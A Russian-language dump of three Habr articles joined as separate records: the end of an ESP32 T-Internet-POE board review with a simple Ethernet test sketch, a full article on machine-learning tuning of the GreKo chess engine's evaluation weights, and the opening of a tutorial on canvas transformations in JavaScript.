Serial.print(ETH.macAddress());
Serial.print(", IPv4: ");
Serial.print(ETH.localIP());
if (ETH.fullDuplex()) {
Serial.print(", FULL\_DUPLEX");
}
Serial.print(", ");
Serial.print(ETH.linkSpeed());
Serial.println("Mbps");
eth\_connected = true;
break;
case SYSTEM\_EVENT\_ETH\_DISCONNECTED:
Serial.println("ETH Disconnected");
eth\_connected = false;
break;
case SYSTEM\_EVENT\_ETH\_STOP:
Serial.println("ETH Stopped");
eth\_connected = false;
break;
default:
break;
}
}
void testClient(const char \*host, uint16\_t port)
{
Serial.print("\nconnecting to ");
Serial.println(host);
WiFiClient client;
if (!client.connect(host, port)) {
Serial.println("connection failed");
return;
}
client.printf("GET / HTTP/1.1\r\nHost: %s\r\n\r\n", host);
while (client.connected() && !client.available());
while (client.available()) {
Serial.write(client.read());
}
Serial.println("closing connection\n");
client.stop();
}
void setup()
{
Serial.begin(115200);
WiFi.onEvent(WiFiEvent);
SPI.begin(SD\_SCLK, SD\_MISO, SD\_MOSI, SD\_CS);
if (!SD.begin(SD\_CS)) {
Serial.println("SDCard MOUNT FAIL");
} else {
uint32\_t cardSize = SD.cardSize() / (1024 \* 1024);
String str = "SDCard Size: " + String(cardSize) + "MB";
Serial.println(str);
}
pinMode(NRST, OUTPUT);
digitalWrite(NRST, 0);
delay(200);
digitalWrite(NRST, 1);
delay(200);
digitalWrite(NRST, 0);
delay(200);
digitalWrite(NRST, 1);
ETH.begin(ETH\_ADDR, ETH\_POWER\_PIN, ETH\_MDC\_PIN, ETH\_MDIO\_PIN, ETH\_TYPE, ETH\_CLK\_MODE);
}
void loop()
{
if (eth\_connected) {
testClient("baidu.com", 80);
}
delay(10000);
}
```
Когда я в первый раз увидел этот скетч, то задался вопросом: «что этим хотел сказать производитель?». Единственное назначение этого скетча — показать, что эта технология в принципе работает. Это конечно хорошо, но что дальше? Что со всем этим делать не имея ни документации, ни примеров, ни вменяемой ответной реакции от производителя?
Походу получается, что ответ от LILYGO — изучать программирование и создавать ПО самостоятельно (или искать готовые прошивки, хотя это и не спортивно).
Интерфейсы и пинг
-----------------
Для сетевых профессионалов (и примкнувших к ним) скажу пару слов о скорости работы по интерфейсам Wi-Fi и Ethernet и их отзывчивости. Тестирование проводилось в ненагруженной гигабитной сети, зашумлённость Wi-Fi диапазона специально не контролировалась.
Первый скриншот — это пинг контроллера по Wi-Fi интерфейсу. Минимум 24 мс, максимум 105 мс, среднее 67 мс.
Второй — пинг контроллера по Ethernet интерфейсу. Минимум 0 мс, максимум 9 мс, среднее 2 мс.
Как вы видите, пинг по проводному Ethernet кардинально меньше, чем по Wi-Fi (что ожидаемо). Насколько хороши или плохи эти цифры предоставляю судить читателям самостоятельно, меня они вполне устраивают для моих целей.
Тестирование
------------
Тестировать такую систему, как T-Internet-POE на скетчах, подобных предложенному производителем — это несерьёзно, поэтому для тестирования контроллера применялась специализированная версия AMS, адаптированная специально для этой платы. Учитывая, что это сервер, который использует полноценные HTML, CSS, Javascript, Ajax, графические файлы и библиотеки, то успешная работа такого сервера на T-Internet-POE будет свидетельствовать о правильно спроектированном железе и возможности его использования в реальных проектах.
***Примечание:** тестирование производилось на внутренней, не публичной версии AMS для T-Internet-POE. Публикация и распространение этой версии не планируется, возможно это будет сделано позже, после соответствующих доработок.*
Тест 1. Запускаем AMS сервер на T-Internet-POE
----------------------------------------------
Запустить AMS на новом контроллере с новым чипом и сетевым интерфейсом — это весьма нетривиальная задача, но тем не менее, при правильном подходе и понимании того, что ты делаешь, всё становится возможным.
### Косяк номер 1
В процессе этой работы стали вылезать «косяки» самого контроллера T-Internet-POE и первое, что было выявлено — это то, что контроллер отказывается прошиваться при вставленной microSD карте памяти. Не помогает ничего — ни замена USB порта, ни питание от отдельного блока, ни нажимание кнопок, ни замена карты — контроллер упорно не желает прошиваться при вставленной карте памяти.
Глюк это конкретного экземпляра или родовой дефект всех контроллеров T-Internet-POE сказать трудно (имея в своём распоряжении один экземпляр), можно только констатировать 100-процентную повторяемость и воспроизводимость проблемы.
Что это значит для нас? В практическом плане это значит, что на контроллере T-Internet-POE фактически нет картридера — картридер, который блокирует прошивку контроллера — это не картридер, а баг.
Что же делать? Остаётся только использовать 1,5 МБ SPIFFS, имеющийся на модуле ESP32. Да, это не очень много, но в принципе 1,5 МБ памяти для IoT устройства — это более-менее приемлемо в большинстве случаев.
### Косяк номер 2
Ок, от картридера мы отказались, теперь нам нужно подружиться с SPIFFS. Вроде бы задача несложная и даже привычная, но и тут нас ждёт засада: по какой-то причине утилита ESP32FS отказывается нормально работать на этом контроллере (в этой конфигурации). Перенос файлов в память модуля ESP32 приводит к последующей ошибке монтирования SPIFFS диска.
М-да… В случае невозможности нормально перенести файлы (сервера) на SPIFFS диск, остаётся только один способ — инициализация интерфейса через Serial соединение, и последующий перенос файлов на SPIFFS диск через веб-интерфейс. Способ конечно не очень удобный, но никак не влияющий на конечный результат — файлы сервера были успешно перенесены на SPIFFS диск.
Описание самого процесса адаптации кода под новый контроллер я опускаю, поскольку это потребовало бы составления антологии наподобие полного собрания сочинений В. И. Ленина и сразу перехожу к демонстрации факта успешной работы AMS сервера на T-Internet-POE (а значит и работоспособности самой платы T-Internet-POE).
Загрузка страницы по Wi-Fi интерфейсу.
Загрузка страницы по Ethernet интерфейсу.
Выигрыш по скорости примерно в 4 раза, естественно, в пользу Ethernet. Здесь нужно ещё иметь в виду, что речь идёт о неоптимизированном коде и после проведения соответствующих работ результаты должны значительно улучшиться.
Работа сервера по Ethernet интерфейсу на LILYGO TTGO T-Internet-POE ESP32 LAN8720A.
Тест 2. Работа на двух интерфейсах
----------------------------------
Тут мне придётся немного поработать разрушителем легенд. В интернете ходят упорные слухи, что одновременная работа Wi-Fi и Ethernet на связке ESP32 и LAN8720A невозможна. Это не так — AMS сервер прекрасно работает на двух интерфейсах одновременно и отлично обслуживает запросы по Wi-Fi и Ethernet. Никаких проблем с зависаниями или перезагрузками ESP32 нет.
Вот это уже интересный результат, который открывает заманчивые перспективы: поскольку мы имеем собственный сервер, то можем как угодно управлять обслуживанием интерфейсов, например, по Wi-Fi отдавать одни сайты с одним контентом, а по Ethernet — другие сайты с другим контентом. Образно говоря, бабушке по Ethernet отдавать сайт с кулинарными рецептами, а внуку по Wi-Fi — сайт с избранными статьями из БСЭ.
Тест 3. Бан по одному из интерфейсов
------------------------------------
Теперь давайте попробуем на практике реализовать идею с различным обслуживанием интерфейсов веб-сервером. В качестве примера попробуем реализовать отказ в обслуживании для подключений по одному из интерфейсов (Ethernet).
Клиент, подключённый к нашему контроллеру по Ethernet интерфейсу получил отказ в обслуживании.
Резервирование интерфейсов
--------------------------
Сама идея резервирования интерфейсов лежит на поверхности и так и просится для реализации. Подобных сценариев существует множество, например, у вас есть IoT контроллер, который подключён к локальной сети по Ethernet. В случае аварийной ситуации, при пропадании проводного линка, контроллер автоматически подключается к резервному беспроводному роутеру и продолжает свою работу.
Сетевой роутинг
---------------
Имея в своём распоряжении два рабочих сетевых интерфейса можно как угодно маршрутизировать пакеты в сети. Никто также не мешает в схему маршрутизации по Wi-Fi и Ethernet добавить маршрутизацию данных по nRF24 или LoRa или по любой другой беспроводной сети. Таким образом можно сделать любой роутер для вашей IoT системы.
Ну, и как было отмечено выше, существует ещё множество интересных вариантов использования контроллера с двумя сетевыми интерфейсами.
Итоги
-----
Теперь давайте подведём итоги этого небольшого исследования: в общем, несмотря на некоторые косяки и детские болезни, контроллер LILYGO TTGO T-Internet-POE ESP32 LAN8720A мне понравился — это отличный инструмент для построения IoT систем, особенно если вы обладаете соответствующей квалификацией и не лишены фантазии и креативного подхода к своему творчеству.
Плюсы и минусы LILYGO TTGO T-Internet-POE ESP32 LAN8720A.
**Плюсы:**
* Это работает!
* Законченное интегрированное решение Wi-Fi + Ethernet + POE + GPIO
* Хорошая работа без зависаний и перезагрузок (проблем при тестировании выявлено не было)
* Возможность одновременной работы по двум интерфейсам
**Минусы:**
* Тотальное отсутствие документации, примеров и пояснений
* Относительно высокий порог входа
* Детские болезни и мелкие косяки в реализации | https://habr.com/ru/post/547044/ | null | ru | null |
# Самообучение шахматной программы
Здравствуй, Хабр!
В [статье, опубликованной в прошлом году](https://habrahabr.ru/post/254753/), мы решали задачу определения математически обоснованных стоимостей шахматных фигур. С помощью регрессионного анализа партий, сыгранных компьютерами и людьми, нам удалось получить шкалу ценности «юнитов», во многом совпадающую с традиционными значениями, известными из книг и практического опыта.
К сожалению, непосредственная подстановка скорректированных значений для фигур не усилила программу автора — во всяком случае, больше, чем в рамках статистической погрешности. Применение же исходного метода «в лоб» к другим параметрам оценочной функции давало несколько абсурдные результаты, алгоритм оптимизации явно нуждался в некоторой доработке. Тем временем, автор решил, что очередной релиз его движка станет заключительным в длинной серии версий, берущих своё начало в коде десятилетней давности. Была выпущена версия GreKo 2015, и дальнейшие изменения в ближайшем будущем не планировались.
Всем интересующихся тем, что было дальше — после просмотра картинки для привлечения внимания добро пожаловать под кат.
Мотивацией к внезапному продолжению работы и, в конечном итоге, появлению этой статьи, послужили два события. Одно из них прогремело на весь мир по каналам массовой информации — это матч в Го корейского топ-игрока Ли Седоля с программой Google [AlphaGo](https://deepmind.com/alpha-go).
Разработчики из Google DeepMind сумели эффективно объединить две мощные техники — поиск в дереве методом Монте-Карло и глубокое обучение с использованием нейросетей. Получившийся симбиоз привёл к феноменальным результатам в виде победы над двумя профессиональными игроками в Го (Ли Седолем и Фан Хуэем) с общим счётом 9 — 1. Детали реализации AlphaGo широко обсуждались, в том числе и на Хабре, поэтому сейчас останавливаться на них не будем.
Второе событие, не столь широко разрекламированное, и замеченное в основном энтузиастами шахматного программирования — появление программы [Giraffe](https://chessprogramming.wikispaces.com/Giraffe). Её автор, Matthew Lai, активно использовал идеи машинного обучения, в частности, всё те же глубокие нейросети. В отличие от традиционных движков, в которых оценочная функция содержит ряд заранее предопределённых признаков позиции, Giraffe на этапе обучения самостоятельно извлекает эти признаки из учебного материала. Фактически, была заявлена цель автоматического вывода «шахматного знания» в том виде, в котором его излагают в учебниках.
Кроме оценочной функции, нейронные сети в Giraffe использовались и для параметризации поиска по дереву, что также наводит на мысли о некоторых параллелях с AlphaGo.
Определённые успехи программа продемонстрировала, достигнув с нуля за несколько дней обучения силы международного мастера. Но, к сожалению, интереснейший исследовательский проект был преждевременно завершён… в связи с переходом Matthew Lai на работу в команду Google DeepMind!
Так или иначе, информационная волна, возникшая в связи с AlphaGo и Giraffe, побудила автора данной статьи ещё раз вернуться к коду своего движка и попытаться всё-таки усилить его игру методами столь популярного ныне машинного обучения.
### Алгоритм
Возможно, кого-то это разочарует, но в описываемом проекте не будет ни многослойных нейронных сетей, ни автоматического детектирования ключевых признаков позиции, ни метода Монте-Карло. Случайный поиск по дереву в шахматах практически не требуется в силу ограниченности задачи, а хорошо работающие факторы оценки шахматной позиции известны ещё со времён [«Каиссы»](https://chessprogramming.wikispaces.com/Kaissa). Кроме того, автору было интересно насколько можно усилить игру программы в рамках достаточно минималистичного их набора, который реализован в GreKo.
Базовым методом был выбран алгоритм настройки оценочной функции, который предложил шведский исследователь и разработчик Peter Österlund, автор сильной программы Texel. Выигрышными сторонами этого метода, по словам его создателя, являются:
* Возможность одновременно оптимизировать до нескольких сотен параметров оценочной функции.
* Отсутствие необходимости в источнике «внешнего знания» в виде экспертных оценок позиций — нужны только тексты и результаты партий.
* Корректная работа с сильно коррелированными признаками — не требуется никакая предварительная подготовка вроде их ортогонализации.
Пусть *θ = (θ1, ..., θK)* — вектор параметров оценочной функции (веса материала и позиционных признаков).
Для каждой позиции *pi, i = 1...N* из тестового набора мы вычисляем её статическую оценку *Eθ(pi)*, представляющую собой некоторую скалярную величину. Традиционно оценку нормируют так, чтобы она давала представление о перевесе той или другой стороны в единицах шахматного материала — например, сотых долях пешки. Мы будем рассматривать оценку всегда с точки зрения белых.
Перейдём теперь из материального представления оценки в вероятностное. С помощью логистической функции сделаем следующее преобразование:
Величина *Rpred* имеет смысл математического ожидания результата партии для белых в данной позиции (0 — поражение, 0.5 — ничья, 1 — победа). Нормировочная константа *K* может быть определена как такой материальный перевес, при котором «всё становится ясно». В данном исследовании использовалось значение *K = 150*, т.е. полторы пешки. Разумеется, «становится ясно» только в статистическом смысле, в реальных шахматных партиях можно найти огромное количество контрпримеров, когда к выигрышу не приводит и гораздо больший материальный перевес.
В оригинальном алгоритме вместо статической оценочной функции для вычисления *Rpred* использовался результат так называемого ФВ-поиска. Название связано с понятием форсированного варианта, в английском варианте — quiescence search. Это альфа-бета поиск из заданной позиции, в котором рассматриваются только взятия, превращения пешек, иногда — шахи и уходы от них. Хотя деревья перебора получаются небольшими, по сравнению со статической оценкой скорость вычисления уменьшается в десятки и сотни раз. Поэтому было решено использовать более быструю схему, а динамичные позиции отсеивать на этапе подготовки исходных данных.
Теперь, зная для каждой позиции предсказанный *Rpred* и фактический *Rfact* результаты партии, в которой она встретилась, мы можем вычислить среднеквадратичную ошибку предсказания:
Фактически, полученная среднеквадратичная оценка уже может рассматриваться как целевой функционал, подлежащий минимизации. Такой подход изложен в оригинальном описании метода.
Сделаем ещё одну небольшую модификацию — введём учёт оставшегося до конца партии количества ходов. Очевидно, что позиционный признак, существовавший на доске в самом начале партии, может вообще никак не влиять на её исход, если основные события в игре произошли гораздо позже. Например, белые в дебюте могут иметь гордого коня в центре доски, но проиграть в глубоком эндшпиле, когда этот конь уже давно разменян, из-за вторжения неприятельской ладьи в свой лагерь. В данном случае признак «конь в центре доски» не должен получать слишком большого наказания по сравнению с признаком «ладья на второй горизонтали» — конь-то ни в чём не виноват!
Соответственно, добавим в нашу целевую функцию поправку, связанную с числом оставшихся до конца партии ходов *ni*. Для каждой позиции она будет представлять собой множитель экспоненциального затухания с параметром *λ*. «Физический смысл» этого параметра — количество ходов, в течение которого тот или иной позиционный признак оказывает влияние на партию. Опять же, в среднем. В описанных ниже экспериментах *λ* принимает значения в несколько десятков полуходов.
В оригинальном описании Texel's Tuning Method из обучающей выборки отбрасывались первые ходы в партиях. Введение "*λ*-забывания" позволяет нам не вводить явное ограничение на ходы из дебютной книги — их влияние так или иначе оказывается малым.
Окончательный вид нашего целевого функционала:
Задача обучения оценочной функции сводится теперь к минимизации *J* в пространстве значений вектора *θ*.
Почему этот метод работает? Фактически, бо́льшая часть признаков, возникающих в позициях на больших массивах партий, из-за усреднения взаимно нейтрализуются. Сохраняют своё значение и получают более высокие веса только те из них, которые реально оказали влияние на результат. Чем раньше оценочная функция в ходе партии начнёт их замечать — тем лучше будет предсказание и точнее оценка позиции, тем более сильную игру станет демонстрировать программа.
### Обучение и результаты
В качестве массива данных для обучения использовались позиции из 20 тысяч партий, сыгранных программой с самой собой. Из их числа были исключены позиции, возникшие после взятия фигуры или объявления шаха. Это необходимо для того, чтобы обучающее множество примеров как можно лучше совпадало с реальными позициями из дерева перебора, для которых применяется статическая оценка.
В результате получилось порядка 2.27 млн. позиций. Не все они уникальные, но для используемого метода это не является критичным. Позиции случайным образом были разделены на тренировочный и проверочный наборы в соотношении 80 / 20, соответственно 1.81 млн. и 460 тыс. позиций.
Минимизация функционала проводилась на тренировочном наборе методом покоординатного спуска. Известно, что для задач многомерной оптимизации этот метод обычно не является наилучшим выбором. Однако, в пользу данного алгоритма сыграли простота реализации, а также приемлемое время выполнения. На типичном современном PC оптимизация для 20 тыс. партий занимает от одного до нескольких часов, в зависимости от выбранного для настройки подмножества из 27 возможных весов.
Ниже приведён график изменения функционала в зависимости от времени. Критерием остановки обучения является неулучшение результата для проверочного подмножества после очередного цикла спусков по всем параметрам.
Эволюция группы параметров, имеющих отношение к пешкам, показана на следующем графике. Видно, что процесс сходится достаточно быстро — по крайней мере, к локальному минимуму. Задача поиска глобального минимума пока не ставилась, наша цель сейчас — усилить программу хотя бы на какую-то величину…
**Аналогичные графики для других признаков**
На следующем графике представлены данные, относящиеся к другой тренировочной сессии, в которой настраивались также материальные веса. Видно, что от «компьютерных» значений, использующихся в GreKo, они постепенно сходятся к более классическим величинам.
Приведём полный список параметров оценки с начальными и конечными значениями. Смысл большей части понятен без дополнительных комментариев, желающие ознакомиться с точным их назначением приглашаются в исходный код программы — файл eval.cpp, функция Evaluate().
| Номер | Признак | Описание | До обучения | После обучения |
| --- | --- | --- | --- | --- |
| 1. | VAL\_P | стоимость пешки | 100 | 100 |
| 2. | VAL\_N | стоимость коня | 400 | 400 |
| 3. | VAL\_B | стоимость слона | 400 | 400 |
| 4. | VAL\_R | стоимость ладьи | 600 | 600 |
| 5. | VAL\_Q | стоимость ферзя | 1200 | 1200 |
| 6. | PawnDoubled | сдвоенная пешка | -10 | -10 |
| 7. | PawnIsolated | изолированная пешка | -10 | -19 |
| 8. | PawnBackwards | отсталая пешка | -10 | -5 |
| 9. | PawnCenter | пешка в центре доски | 10 | 9 |
| 10. | PawnPassedFreeMax | незаблокированная проходная | 120 | 128 |
| 11. | PawnPassedBlockedMax | заблокированная проходная | 100 | 101 |
| 12. | PawnPassedKingDist | удалённость проходной от короля противника в эндшпиле | 5 | 9 |
| 13. | PawnPassedSquare | проходная, недостижимая по «правилу квадрата» | 50 | 200 |
| 14. | KnightCenter | централизация коня | 10 | 27 |
| 15. | KnightOutpost | защищённый пункт для коня | 10 | 7 |
| 16. | KnightMobility | мобильность коня | 20 | 19 |
| 17. | BishopPairMidgame | пара слонов в миттельшпиле | 20 | 20 |
| 18. | BishopPairEndgame | пара слонов в эндшпиле | 100 | 95 |
| 19. | BishopCenter | централизация слона | 10 | 9 |
| 20. | BishopMobility | мобильность слона | 60 | 72 |
| 21. | Rook7th | ладья на 7-й горизонтали | 20 | 24 |
| 22. | RookOpen | ладья на открытой вертикали | 10 | 17 |
| 23. | RookMobility | мобильность ладьи | 40 | 40 |
| 24. | QueenKingTropism | близость ферзя к королю противника | 40 | 99 |
| 25. | KingCenterMid | централизация короля в миттельшпиле | -40 | -41 |
| 26. | KingCenterEnd | централизация короля в эндшпиле | 40 | 33 |
| 27. | KingPawnShield | пешечный щит короля | 120 | 120 |
В таблице приведён пример для одной из сессий обучения, в которой оптимизировались только позиционные параметры оценки, а стоимости фигур оставались неизменными. Это не является критическим требованием, в ходе описанных ниже тестов использовалось и полное обучение по всем 27 параметрам. Но наилучшие результаты в практической игре показала версия с неизменной шкалой материала.
Какие можно сделать выводы из полученных весов? Видно, что некоторые из них остались практически неизменными по сравнению с оригинальной версией программы. Можно предположить, что за годы отладки движка они были подобраны интуитивно достаточно верно. Однако, в некоторых моментах холодная математика внесла поправки в человеческую интуицию. Так, вред отсталых пешек был автором переоценен. А вот следующие параметры показались алгоритму более важными, их веса были подняты практически вдвое:
* изолированная пешка
* ладья на открытой вертикали
* удалённость проходной от короля противника в эндшпиле
* централизация коня
* близость ферзя к королю противника
Отдельно стоит упомянуть признак проходной, недостижимой по «правилу квадрата». Его оптимизированное значение достигло поставленной в алгоритме границы допустимого интервала. Очевидно, оно могло бы оказаться и больше. Причина, вероятно, в том, что в обучающем файле при наличии такой проходной пешки партии выигрывались в 100% случаев. В качестве веса было оставлено значение 200, как вполне достаточное — на силу игры его увеличение практически не влияет.
### Проверка за шахматной доской
Итак, мы обучили оценочную функцию предсказывать исход партии на основании позиции на доске. Но впереди главная проверка — насколько это умение окажется полезным в практической игре. С этой целью было подготовлено несколько версий движка с различными настройками, каждая из которых получена в своём режиме обучения.
| Версия | Обучающий файл | Число партий | Коэффициенты оценки | Константа масштабирования *λ* |
| --- | --- | --- | --- | --- |
| A | 20000.pgn | 20000 | 6...27 | 40 |
| B | 20000.pgn | 20000 | 1...27 | 40 |
| C | 20000.pgn | 20000 | 6...27 | 20 |
| D | 20000.pgn | 20000 | 1...27 | 20 |
| E | 20000.pgn | 20000 | 6...27 | 60 |
| F | 20000.pgn | 20000 | 1...27 | 60 |
| G | gm2600.pgn | 27202 | 6...27 | 20 |
| H1 | large.pgn | 47202 | 6...27 | 20 |
| H2 | large.pgn | 47202 | 1...27 | 20 |
20000.pgn — партии программы с самой собой (суперблиц)
gm2600.pgn — партии гроссмейстеров с FTP-сайта автора Crafty Роберта Хьятта (классический контроль)
large.pgn — объединение двух этих файлов
Каждая из версий сыграла по 100 партий с исходной программой GreKo 2015, а также с набором других движков с контролем времени «1 секунда + 0.1 секунды на ход». Результаты приведены в таблице ниже. С помощью программы bayeselo были подсчитаны относительные рейтинги версий, сила GreKo 2015 зафиксирована в качестве точки отсчёта на уровне 2600. Определена также величина LOS (likelihood of superiority) — вероятность того, что конкретная версия играет сильнее GreKo 2015 с учётом доверительного интервала расчёта рейтинга.
| Версия | GreKo 2015 | Fruit 2.1 | Delfi 5.4 | Crafty 23.4 | Kiwi 0.6d | Рейтинг | LOS |
| --- | --- | --- | --- | --- | --- | --- | --- |
| GreKo 2015 | | 33 | 40.5 | 39.5 | 73.5 | 2600 | |
| A | 53.5 | 38 | 49.5 | 46.5 | 76 | 2637 | 97% |
| B | 55 | 43.5 | 71 | 36.5 | 78.5 | 2667 | 99% |
| C | 52.5 | 39.5 | 81 | 42.5 | 75 | 2672 | 99% |
| D | 42 | 23.5 | 58 | 33.5 | 68 | 2574 | 7% |
| E | 53.5 | 37 | 51.5 | 46 | 81.5 | 2646 | 99% |
| F | 59 | 36.5 | 63 | 31.5 | 79.5 | 2648 | 98% |
| G | 48 | 24.5 | 59 | 43.5 | 65.5 | 2602 | 54% |
| H1 | 45.5 | 40 | 51.5 | 40.5 | 75.5 | 2616 | 81% |
| H2 | 55 | 33.5 | 65 | 39 | 74 | 2646 | 99% |
Видно, что улучшение игры произошло во всех случаях, кроме одного (версия D). Также интересно, что обучение на партиях гроссмейстеров (версия G) дало незначительный эффект. А вот добавление к партиям гроссмейстеров собственных игр программы плюс модификация стоимостей фигур (версия H2) оказалось достаточно удачной комбинацией.
Сильнейшей же по совокупности результатов оказалась версия C, с прибавкой в рейтинге порядка 70 пунктов. Для данного количества партий этот перевес статистически значимый, погрешность составляет плюс-минус 30 пунктов.
Мы обучали и тестировали программу на ультракоротком контроле времени, когда одна партия длится несколько секунд. Проверим, насколько наши улучшения сработают в «серьёзной» игре, с более длительными контролями.
| Контроль времени | Число партий | Результат | Рейтинг | LOS |
| --- | --- | --- | --- | --- |
| 1 мин. + 1 сек. / ход | 200 | 116.5 — 83.5 | + 56 | 99% |
| 3 мин. + 2 сек. / ход | 100 | 57.5 — 42.5 | + 45 | 94% |
| 5 мин. на 40 ходов | 100 | 53.5 — 46.5 | + 21 | 77% |
Итак, несмотря на некоторое падение эффективности с увеличением длительности партий, обученная версия определённо демонстрирует более сильную игру, чем движок с оригинальным вариантом настроек. Она и была выпущена в качестве *ещё одного* финального релиза программы.
### GreKo 2015 ML
Программу [GreKo 2015 ML](http://greko.su) можно свободно скачать вместе с исходным кодом на C++. Она представляет собой консольное приложение под Windows или Linux. Для игры с человеком, анализа или спарринга с другими движками вам может понадобиться графический интерфейс — например, Arena, Winboard, или какой-либо ещё. Впрочем, можно играть и непосредственно из командной строки, вводя ходы стандартной англоязычной нотацией.
Функция самообучения в GreKo реализована как встроенная команда консольного режима (автору в данный момент неизвестны другие движки, поддерживающие подобную функциональность). Вектор из 27 коэффициентов оценочной функции хранится в файле weights.txt. Для его автоматической подстройки на базе PGN-файла нужно набрать команду learn, например:
```
White(1): learn gm2600.pgn
```
Программа прочитает все партии из указанного файла, создаст промежуточный файл с позициями для обучения и разобьёт его на тренировочное и тестовое подмножества:
```
Creating file 'gm2600.fen'
Games: 27202
Loading positions...
Training set: 1269145
Validation set: 317155
```
Затем сохранит исходные значения параметров в файл weights.old, и приступит к процессу оптимизации. Во время работы на экран и в файл learning.log выдаются промежуточные значения весов и целевого функционала.
```
Old values saved in file 'weights.old'
Start optimization...
0 0.139618890118 0.140022159883 2016-07-21 17:01:16
Parameter 6 of 27: PawnDoubled = -10
Parameter 7 of 27: PawnIsolated = -19
1 0.139602240177 0.140008376153 2016-07-21 17:01:50 [1.7] -20
2 0.139585446564 0.139992945184 2016-07-21 17:01:58 [1.7] -21
3 0.139571113698 0.139980624436 2016-07-21 17:02:07 [1.7] -22
4 0.139559690029 0.139971803640 2016-07-21 17:02:15 [1.7] -23
5 0.139552067028 0.139965861844 2016-07-21 17:02:23 [1.7] -24
6 0.139547879916 0.139964477620 2016-07-21 17:02:32 [1.7] -25
7 0.139543242843 0.139961056939 2016-07-21 17:02:40 [1.7] -26
8 0.139542575174 0.139962314286 2016-07-21 17:02:48 [1.7] -27
Parameter 8 of 27: PawnBackwards = -5
9 0.139531995624 0.139953185941 2016-07-21 17:03:04 [1.8] -4
10 0.139523642489 0.139947035972 2016-07-21 17:03:12 [1.8] -3
11 0.139518695795 0.139943580937 2016-07-21 17:03:21 [1.8] -2
12 0.139517501456 0.139943802704 2016-07-21 17:03:29 [1.8] -1
Parameter 9 of 27: PawnCenter = 9
Parameter 10 of 27: PawnPassedFreeMax = 128
13 0.139515067927 0.139941456600 2016-07-21 17:04:00 [1.10] 129
14 0.139500815202 0.139927669884 2016-07-21 17:04:08 [1.10] 130
...
```
По окончании обучения файл weights.txt будет содержать уже новые значения весов, которые вступят в силу при следующем запуске программы.
Команда learn может содержать ещё два аргумента, нижнюю и верхнюю границы интервала оптимизации. По умолчанию они равны 6 и 27 — т.е. оптимизируются все признаки, кроме стоимости фигур. Чтобы включить полную оптимизацию, следует указать границы явно:
```
White(1): learn gm2600.pgn 1 27
```
Алгоритм рандомизирован (в части разбиения на обучающую и тестовую выборки), поэтому при разных запусках могут получаться неодинаковые вектора коэффициентов.
### Выводы
Для настройки оценочной функции мы использовали самообучение программы (reinforcement learning). Наилучшие результаты были достигнуты при анализе игр программы против самой себя. Фактически, единственным внешним источником шахматных знаний выступала дебютная книга оболочки, необходимая для рандомизации игравшихся партий.
Нам удалось увеличить прогнозирующую способность оценки, что привело к статистически достоверному увеличению силы игры на разных контролях времени как с предыдущей версией, так и с набором независимых оппонентов. Улучшение составило 50...70 пунктов Эло.
Стоит отметить, что результат был достигнут на достаточно скромных объёмах: порядка 20 тыс. партий и 1 млн. позиций (для сравнения: AlphaGo обучалась на 30 миллионах позиций из партий сильных любителей с сервера, не считая дальнейших игр с самой собой). Оценочная функция GreKo также весьма несложна, и включает всего 27 независимых параметров. У сильнейших шахматных движков их счёт может идти на сотни и тысячи. Тем не менее, даже в таких условиях методы машинного обучения привели к успеху.
Дальнейшее усовершенствование программы могло бы включать добавление новых критериев к оценочной функции (в частности, учёт стадии игры для всех рассмотренных параметров) и использование более продвинутых методов многомерной оптимизации (например, поиск глобальных экстремумов). В настоящий момент, однако, планы автора в данном направлении ещё не определены.
### Ссылки
* [Определяем веса шахматных фигур регрессионным анализом](https://habrahabr.ru/post/254753/) — вводная статья о модели оценки материала.
* [GreKo](http://greko.su) — шахматная программа GreKo, обучением которой мы в этой статье занимались.
* [Texel's Tuning Method](https://chessprogramming.wikispaces.com/Texel's+Tuning+Method) — описание базового метода оптимизации оценочной функции.
* [Mastering the Game of Go with Deep Neural Networks and Tree Search](https://gogameguru.com/i/2016/03/deepmind-mastering-go.pdf) (англ.) — оригинальная статья об AlphaGo в Nature.
* [AlphaGo на пальцах](https://habrahabr.ru/post/279071/) — изложение основных принципов устройства AlphaGo на русском языке.
* [Giraffe: Using Deep Reinforcement Learning to Play Chess](http://arxiv.org/pdf/1509.01549v2.pdf) (англ.) — статья о шахматной программе Giraffe.
* [bayeselo](http://www.remi-coulom.fr/Bayesian-Elo/) — утилита для расчёта рейтингов на основе PGN-файлов. | https://habr.com/ru/post/305604/ | null | ru | null |
# Canvas-трансформации доступным языком
Доброго времени суток, хабравчане! В этой статье я подробно расскажу вам о трансформации и вращении в javascripte. Матрица трансформаций, на первый взгляд, штука непонятная и многие ею пользуются даже не осознавая, что она делает на самом деле, используя готовые значения из интернета. На [MDC](https://developer.mozilla.org/en/Canvas_tutorial/Transformations) об этом рассказано скудненько, а [информацию в английской Википедии](http://en.wikipedia.org/wiki/Transformation_matrix) тяжело назвать общедоступной. Постараемся разобраться в этом вместе.
Translate
---------
Translate — самый лёгкий метод из трансформирующих. Он всего лишь сдвигает все адресованные пиксели на указанные значения: `ctx.translate(x,y)`. Нюансы работы с ним мы рассмотрим подробнее ниже.
### [Экспериментируем с translate](http://nutochka.github.com/transform/translate.html)
Scale
-----
Scale, как и translate, принимает в качестве аргументов x и y — значения, на которые надо умножить соответствующую ось. К примеру, при ctx.scale(2,3) всё будет отрисовываться в два раза шире и в три раза выше. Указав X=-1 мы отзеркалим изображение налево, указав y=-1 мы отзеркалим изображение вверх.
### [Экспериментируем со scale](http://nutochka.github.com/transform/scale.html)
Rotate
------
Rotate принимает в качестве параметра угол в радианах, на который надо повернуть изображение вокруг точки опори (pivot), заданной методом translate (по-умолчанию 0:0). Перевести градусы в радианы можно с помощью простой формулы, которая является основой метода Number.degree в LibCanvas:
```
Number.prototype.degree = function () {
return this * Math.PI / 180;
};
(60).degree() // 60 градусов в радианах
```
### [Экспериментируем с rotate](http://nutochka.github.com/transform/rotate.html)
Если мы хотим вращать какой-то объект, например, картинку, необходимо правильно взаимодействовать методами rotate и translate, иначе мы никогда не попадём картинкой в нужное место. Самый простой способ осью вращения выбрать центр картинки и отрисовывать её в координаты (-width/2, -height/2). К примеру, мы хотим развернуть картинку размерами 50х50, находящуюся на координатах 100:100. Указываем translate в координату 125:125 и отрисовываем картинку в координату -25:-25. Альтернатива — использовать LibCanvas и метод rotatedImage(или drawImage в ближайшем будущем) и не напрягаться.
### [Вращаем картинку](http://nutochka.github.com/transform/mouseRotate.html)
setTransform
------------
```
ctx.setTransform(m11, m12, m21, m22, dx, dy);
```
Рассмотрим по очереди, за что отвечает каждый из аргументов.
`dx, dy` — повторяют метод translate, смещая картинку на соответствующие значения.
